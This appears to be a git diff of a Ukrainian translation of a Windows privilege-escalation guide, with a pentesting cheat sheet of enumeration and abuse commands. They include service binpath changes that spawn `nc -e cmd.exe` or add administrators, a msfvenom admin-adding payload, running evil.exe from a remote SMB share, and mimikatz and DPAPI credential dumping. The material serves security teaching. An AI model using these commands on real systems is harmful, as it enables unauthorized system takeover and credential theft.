'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** було запроваджено в **Windows 10**. Його мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**Детальніше про Credentials Guard тут.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** було представлено в **Windows 10**. Мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**Детальніше про Credentials Guard тут.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Кешовані облікові дані +### Cached Credentials -**Облікові дані домену** автентифікуються **Local Security Authority (LSA)** і використовуються компонентами операційної системи. Коли дані входу користувача автентифікуються зареєстрованим пакетом безпеки, зазвичай встановлюються облікові дані домену для цього користувача.\ -[**Детальніше про кешовані облікові дані тут**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** автентифікуються **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифікуються зареєстрованим security package, зазвичай для користувача встановлюються domain credentials.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Користувачі та групи +## Користувачі & Групи -### Перелічення користувачів та груп +### Перелічення користувачів & груп -Перевірте, чи мають групи, до яких ви належите, цікаві дозволи +Вам слід перевірити, чи мають якісь із груп, до яких ви належите, цікаві дозволи. ```bash # CMD net users %username% #Me @@ -343,17 +343,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Привілейовані групи -Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї**. Дізнайтеся про привілейовані групи та як зловживати ними для підвищення привілеїв тут: +Якщо ви **належите до певної privileged group, ви можете отримати можливість escalate privileges**. Дізнайтеся про privileged groups і як ними зловживати для escalate privileges тут: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### Маніпуляція token-ами **Дізнайтеся більше** про те, що таке **token** на цій сторінці: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як ними зловживати: +Перегляньте наступну сторінку, щоб **дізнатися про interesting tokens** та як ними зловживати: {{#ref}} @@ -382,8 +382,8 @@ powershell -command "Get-Clipboard" ### Права доступу до файлів і папок -Насамперед, при переліку процесів **перевірте наявність паролів у command line процесу**.\ -Перевірте, чи можете ви **перезаписати якийсь running binary** або чи маєте write permissions до папки з binary, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): +Перш за все, при переліку процесів **перевірте наявність паролів у command line процесу**.\ +Перевірте, чи можете ви **перезаписати який-небудь виконуваний binary** або чи маєте права запису в папку з binary, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +394,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** запущені — їх можна використати для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Завжди перевіряйте наявність запущених [**electron/cef/chromium debuggers** — їх можна використати для підвищення привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Перевірка дозволів бінарних файлів процесів** +**Перевірка прав доступу до бінарних файлів процесів** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -405,7 +405,7 @@ icacls "%%z" ) ) ``` -**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,17 +415,17 @@ todos %username%" && echo. ``` ### Memory Password mining -Ви можете створити дамп пам'яті запущеного процесу, використовуючи **procdump** з sysinternals. Сервіси, такі як FTP, мають **credentials in clear text in memory**, спробуйте здампити пам'ять і прочитати credentials. +Ви можете створити дамп пам'яті запущеного процесу, використовуючи **procdump** від sysinternals. Сервіси, такі як FTP, мають **credentials in clear text in memory**. Спробуйте зробити дамп пам'яті і прочитати credentials. ```bash procdump.exe -accepteula -ma ``` -### Небезпечні GUI-додатки +### Insecure GUI apps -**Додатки, що працюють від імені SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.** +**Програми, що працюють від імені SYSTEM, можуть дозволяти користувачеві запустити CMD або переглядати директорії.** Приклад: "Windows Help and Support" (Windows + F1), знайдіть "command prompt", натисніть "Click to open Command Prompt" -## Служби +## Services Отримати список служб: ```bash @@ -436,26 +436,26 @@ Get-Service ``` ### Дозволи -Ви можете використовувати **sc**, щоб отримати інформацію про службу +Ви можете використовувати **sc** для отримання інформації про службу ```bash sc qc ``` -Рекомендується мати бінарний файл **accesschk** із _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. +Рекомендується мати бінарний файл **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Рекомендується перевірити, чи можуть "Authenticated Users" змінювати будь-яку службу: +Рекомендується перевірити, чи можуть "Authenticated Users" модифікувати будь-яку службу: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Ви можете завантажити accesschk.exe для XP тут](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Увімкнути службу +### Увімкнення служби -Якщо у вас виникає ця помилка (наприклад зі SSDPSRV): +Якщо ви отримуєте цю помилку (наприклад зі SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ @@ -465,15 +465,15 @@ _The service cannot be started, either because it is disabled or because it has sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Врахуйте, що сервіс upnphost залежить від SSDPSRV для роботи (для XP SP1)** +**Врахуйте, що служба upnphost залежить від SSDPSRV, щоб працювати (для XP SP1)** -**Інший обхідний шлях** цієї проблеми — запустити: +**Інший спосіб обійти цю проблему — запустити:** ``` sc.exe config usosvc start= auto ``` ### **Змінити шлях бінарного файлу служби** -У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для служби, можливе змінення виконуваного бінарного файлу служби. Щоб змінити та запустити **sc**: +У сценарії, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для служби, можливе змінення виконуваного бінарного файлу служби. Щоб змінити та виконати **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -486,26 +486,26 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Ескалація привілеїв може відбуватися через різні дозволи: +Ескалація привілеїв можлива через різні дозволи: -- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу сервісу. -- **WRITE_DAC**: Дозволяє змінювати дозволи, що дає можливість змінювати конфігурацію сервісу. -- **WRITE_OWNER**: Дозволяє отримати власність та змінювати дозволи. -- **GENERIC_WRITE**: Надає можливість змінювати конфігурацію сервісу. -- **GENERIC_ALL**: Також надає можливість змінювати конфігурацію сервісу. +- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу служби. +- **WRITE_DAC**: Дозволяє переналаштування прав доступу, що дає можливість змінювати конфігурації служб. +- **WRITE_OWNER**: Дозволяє отримати право власності та переналаштовувати дозволи. +- **GENERIC_WRITE**: Надає можливість змінювати конфігурації служб. +- **GENERIC_ALL**: Також надає можливість змінювати конфігурації служб. -Для виявлення та експлуатації цієї вразливості можна використати _exploit/windows/local/service_permissions_. +Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_. -### Слабкі дозволи бінарних файлів сервісів +### Слабкі дозволи бінарних файлів служб -**Перевірте, чи можете змінити бінарний файл, який виконується сервісом** або якщо ви маєте **права запису на папку**, де розташований бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Ви можете отримати всі бінарні файли, які виконує сервіс, використовуючи **wmic** (не в system32) та перевірити ваші дозволи за допомогою **icacls**: +**Перевірте, чи можете ви змінити бінарний файл, який виконує служба** або чи маєте **дозволи на запис у папку** де розташований бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Ви можете отримати всі бінарні файли, які запускаються службою, використовуючи **wmic** (не в system32) і перевірити ваші права за допомогою **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Також можна використовувати **sc** та **icacls**: +Ви також можете використовувати **sc** та **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -513,8 +513,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Права на зміну реєстру служб -Вам слід перевірити, чи можете змінювати записи в реєстрі служб.\ -Ви можете **перевірити** ваші **права** над реєстром **служби**, виконавши: +Вам слід перевірити, чи можете ви змінювати будь-який реєстр служб.\ +Ви можете **перевірити** свої **права** у реєстрі **служб**, виконавши: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,15 +523,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Потрібно перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** права `FullControl`. Якщо так, бінарний файл, що виконується сервісом, можна змінити. +Потрібно перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** права `FullControl`. Якщо так, виконуваний сервісом бінарний файл можна змінити. -Щоб змінити Path виконуваного бінарного файлу: +Щоб змінити шлях до виконуваного бінарного файлу: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### Дозволи реєстру служб AppendData/AddSubdirectory + +Якщо у вас є цей дозвіл на реєстр, це означає, що **ви можете створювати підреєстри з цього**. У разі служб Windows це **достатньо для виконання довільного коду:** -Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри з цього**. У випадку Windows services цього **достатньо, щоб execute arbitrary code:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -539,7 +540,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Якщо шлях до виконуваного файлу не укладено в лапки, Windows буде намагатися виконати кожну частину шляху, що закінчується перед пробілом. +Якщо шлях до виконуваного файлу не укладено в лапки, Windows спробує виконати кожну частину шляху до пробілу. Наприклад, для шляху _C:\Program Files\Some Folder\Service.exe_ Windows спробує виконати: ```bash @@ -547,7 +548,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Перелічіть усі unquoted service paths, за винятком тих, що належать вбудованим службам Windows: +Перелічте всі шляхи служб без лапок, за винятком тих, що належать вбудованим службам Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -573,13 +574,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Дії відновлення -Windows дозволяє вказувати дії, які виконуються у разі збою служби. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, можливе privilege escalation. Детальніше — в [офіційній документації](). +Windows дозволяє вказувати дії, які виконуються у разі збою служби. Цю можливість можна налаштувати так, щоб вона вказувала на бінарний файл. Якщо цей бінарний файл можна замінити, можливе privilege escalation. Детальніше див. в [офіційній документації](). ## Додатки ### Встановлені додатки -Перевірте **permissions of the binaries** (можливо, ви зможете перезаписати один із них і escalate privileges) та **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Перевірте **права доступу до бінарних файлів** (можливо, ви зможете перезаписати один і escalate privileges) та до **папок** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -590,9 +591,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Права на запис -Перевірте, чи можете змінити якийсь файл конфігурації, щоб прочитати якийсь спеціальний файл, або чи можете змінити виконуваний файл, який буде запущений обліковим записом Administrator (schedtasks). +Перевірте, чи можете змінити якийсь файл конфігурації, щоб прочитати певний файл, або чи можете змінити виконуваний файл, який буде виконуватися під обліковим записом Administrator (schedtasks). -Один зі способів знайти слабкі дозволи на папки/файли в системі — виконати: +Один зі способів знайти слабкі права доступу до папок/файлів у системі — виконати: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -615,7 +616,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Запуск при старті +### Run at startup **Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконано іншим користувачем.**\ **Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **autoruns locations to escalate privileges**: @@ -625,15 +626,15 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Драйвери +### Drivers -Шукайте можливі **third party weird/vulnerable** драйвери +Шукайте можливі **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Якщо драйвер надає arbitrary kernel read/write primitive (поширено в погано розроблених IOCTL handlers), ви можете escalate, викравши SYSTEM token безпосередньо з kernel memory. Див. покрокову техніку тут: +Якщо driver надає arbitrary kernel read/write primitive (часто в poorly designed IOCTL handlers), ви можете підвищити привілеї, вкравши SYSTEM token безпосередньо з kernel memory. Див. покрокову техніку тут: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -642,13 +643,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Якщо у вас є **write permissions inside a folder present on PATH** ви можете hijack a DLL, яку завантажує процес, і **escalate privileges**. +Якщо ви маєте **write permissions inside a folder present on PATH** ви зможете hijack a DLL loaded by a process і **escalate privileges**. -Перевірте права доступу для всіх папок у PATH: +Перевірте дозволи для всіх папок у PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Більше інформації про те, як зловживати цією перевіркою: +Для отримання додаткової інформації про те, як зловживати цією перевіркою: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -656,7 +657,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Мережа -### Шари +### Спільні папки ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -666,11 +667,11 @@ net share #Check current shares ``` ### hosts file -Перевірте наявність інших відомих комп'ютерів, жорстко прописаних у hosts file +Перевірте наявність інших відомих комп'ютерів, hardcoded у hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Мережеві інтерфейси & DNS +### Мережеві інтерфейси та DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -678,7 +679,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Відкриті порти -Перевірте наявність **обмежених сервісів** зовні +Перевірте наявність **обмежених сервісів** ззовні ```bash netstat -ano #Opened ports? ``` @@ -692,11 +693,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Правила Firewall +### Правила брандмауера -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(перегляд правил, створення правил, вимкнути, вимкнути...)** +[**Перегляньте цю сторінку для команд, пов'язаних із Firewall**](../basic-cmd-for-pentesters.md#firewall) **(перегляд правил, створення правил, вимкнення, вимкнення...)** -Більше[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Більше[ команд для мережевої енумерації тут](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -705,16 +706,16 @@ C:\Windows\System32\wsl.exe ``` Бінарний файл `bash.exe` також можна знайти в `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Якщо ви отримаєте root user, ви зможете слухати на будь-якому port (вперше, коли ви використовуєте `nc.exe` для прослуховування порту, через GUI буде запитано, чи дозволити `nc` у firewall). +Якщо ви отримаєте root user, ви зможете слухати на будь-якому порті (вперше, коли ви використовуєте `nc.exe` для прослуховування порту, з'явиться GUI-запит із проханням дозволити `nc` у брандмауері). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Щоб легко запустити bash від імені root, можна спробувати `--default-user root` +Щоб легко запустити bash як root, можна спробувати `--default-user root` -Ви можете дослідити файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Ви можете переглянути файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Облікові дані Windows @@ -730,16 +731,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Керування обліковими даними / Windows Vault +### Менеджер облікових даних / Windows Vault -З [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, в які **Windows** може автоматично входити від імені користувачів. На перший погляд може здатися, що користувачі можуть зберігати свої дані для входу в Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. На перший погляд може здатися, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. -Windows Vault зберігає облікові дані, якими **Windows** може автоматично виконувати вхід від імені користувачів, що означає: будь-який Windows-додаток, який потребує облікових даних для доступу до ресурсу (сервер чи вебсайт), може використовувати цей Credential Manager і Windows Vault та застосовувати надані облікові дані замість того, щоб користувачі щоразу вводили ім'я користувача й пароль. +Windows Vault зберігає облікові дані, в які Windows може автоматично входити, що означає, що будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **can make use of this Credential Manager** & Windows Vault і використовує надані облікові дані замість того, щоб користувачі щоразу вводили ім'я користувача та пароль. -Якщо додатки не взаємодіють з Credential Manager, вони не зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш додаток хоче скористатися сховищем, він повинен якимось чином **взаємодіяти з Credential Manager і запитувати облікові дані для цього ресурсу** у сховища за замовчуванням. +Поки додатки не взаємодіють з Credential Manager, вони, на мою думку, не зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш додаток хоче використовувати vault, він повинен якось **communicate with the credential manager and request the credentials for that resource** з дефолтного сховища. -Скористайтеся `cmdkey`, щоб перелічити збережені облікові дані на машині. +Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: @@ -747,7 +748,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Тоді ви можете використати `runas` з опцією `/savecred`, щоб скористатися збереженими обліковими даними. У наступному прикладі викликається віддалений бінарний файл через SMB-шару. +Потім ви можете використовувати `runas` з опцією `/savecred`, щоб скористатися збереженими обліковими даними. У наступному прикладі викликається віддалений binary через SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -755,41 +756,41 @@ runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Зауважте, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або з [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Зверніть увагу, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або модуль Empire Powershells. ### DPAPI -**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, який переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрет користувача або системи, що суттєво додає ентропії. +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI дозволяє шифрування ключів через симетричний ключ, який виводиться з секретів входу користувача**. У випадках системного шифрування він використовує доменні секрети автентифікації системи. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. У сценаріях системного шифрування він використовує доменні секрети автентифікації системи. -Зашифровані RSA-ключі користувача, при використанні DPAPI, зберігаються в директорії `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` позначає [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Ключ DPAPI, розташований поруч із головним ключем, який захищає приватні ключі користувача в тому ж файлі,** зазвичай складається з 64 байт випадкових даних. (Важливо зауважити, що доступ до цього каталогу обмежений, що перешкоджає відображенню його вмісту за допомогою команди `dir` у CMD, хоча його можна перелічити через PowerShell). +Зашифровані RSA-ключі користувача за допомогою DPAPI зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` позначає користувацький [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Ключ DPAPI, розташований разом із головним ключем, який захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байтів випадкових даних. (Варто зауважити, що доступ до цього каталогу обмежено, тому його вміст не можна перелічити за допомогою команди `dir` в CMD, хоча його можна перелічити через PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Ви можете використовувати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб його розшифрувати. +Ви можете використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб його розшифрувати. -**Файли облікових даних, захищені основним паролем** зазвичай знаходяться в: +**Файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ -Ви можете **витягнути багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). +Ви можете використати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ +Ви можете **вилучити багато DPAPI** **masterkeys** з **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### Облікові дані PowerShell +### PowerShell Credentials -Облікові дані PowerShell часто використовуються для скриптингу та автоматизації як зручний спосіб зберігання зашифрованих облікових даних. Облікові дані захищені за допомогою DPAPI, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, на якому вони були створені. +PowerShell credentials часто використовуються для скриптів і задач автоматизації як спосіб зручного зберігання зашифрованих облікових даних. Ці облікові дані захищені за допомогою DPAPI, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, на якому вони були створені. -Щоб **розшифрувати** облікові дані PowerShell з файлу, що їх містить, ви можете зробити: +Щоб розшифрувати PS credentials з файлу, який їх містить, можна зробити так: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -811,30 +812,30 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Збережені RDP-з'єднання -Ви можете знайти їх у `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -та в `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +Їх можна знайти в `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +і в `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Нещодавно виконані команди ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Диспетчер облікових даних віддаленого робочого столу** +### **Менеджер облікових даних віддаленого робочого столу** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Використовуйте **Mimikatz** `dpapi::rdg` модуль з відповідним `/masterkey`, щоб **дешифрувати будь-які .rdg файли**\ -Ви можете **витягнути багато DPAPI masterkeys** з пам'яті за допомогою Mimikatz `sekurlsa::dpapi` модуля +Використовуйте **Mimikatz** `dpapi::rdg` module з відповідним `/masterkey` щоб **дешифрувати будь-які .rdg файли**\ +Ви можете **витягти багато DPAPI masterkeys** з пам'яті за допомогою Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -Люди часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти. +Користувачі часто використовують додаток StickyNotes на Windows робочих станціях для **збереження паролів** та іншої інформації, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти. ### AppCmd.exe -**Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути Administrator та запускатися під High Integrity рівнем.**\ -**AppCmd.exe** розташований у каталозі `%systemroot%\system32\inetsrv\`.\ -Якщо цей файл існує, то можливо, що деякі **credentials** були налаштовані і можуть бути **відновлені**. +**Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути Адміністратором і запускатися з високим рівнем цілісності (High Integrity).**\ +**AppCmd.exe** знаходиться в директорії `%systemroot%\system32\inetsrv\`.\ +Якщо цей файл існує, можливо, що деякі **credentials** були налаштовані і можуть бути **відновлені**. Цей код витягнуто з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -917,37 +918,37 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Перевірте, чи існує `C:\Windows\CCM\SCClient.exe` .\ -Установники **запускаються з привілеями SYSTEM**, багато з них вразливі до **DLL Sideloading (Інфо з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Інсталятори **запускаються з SYSTEM privileges**, багато з них вразливі до **DLL Sideloading (Інформація з** 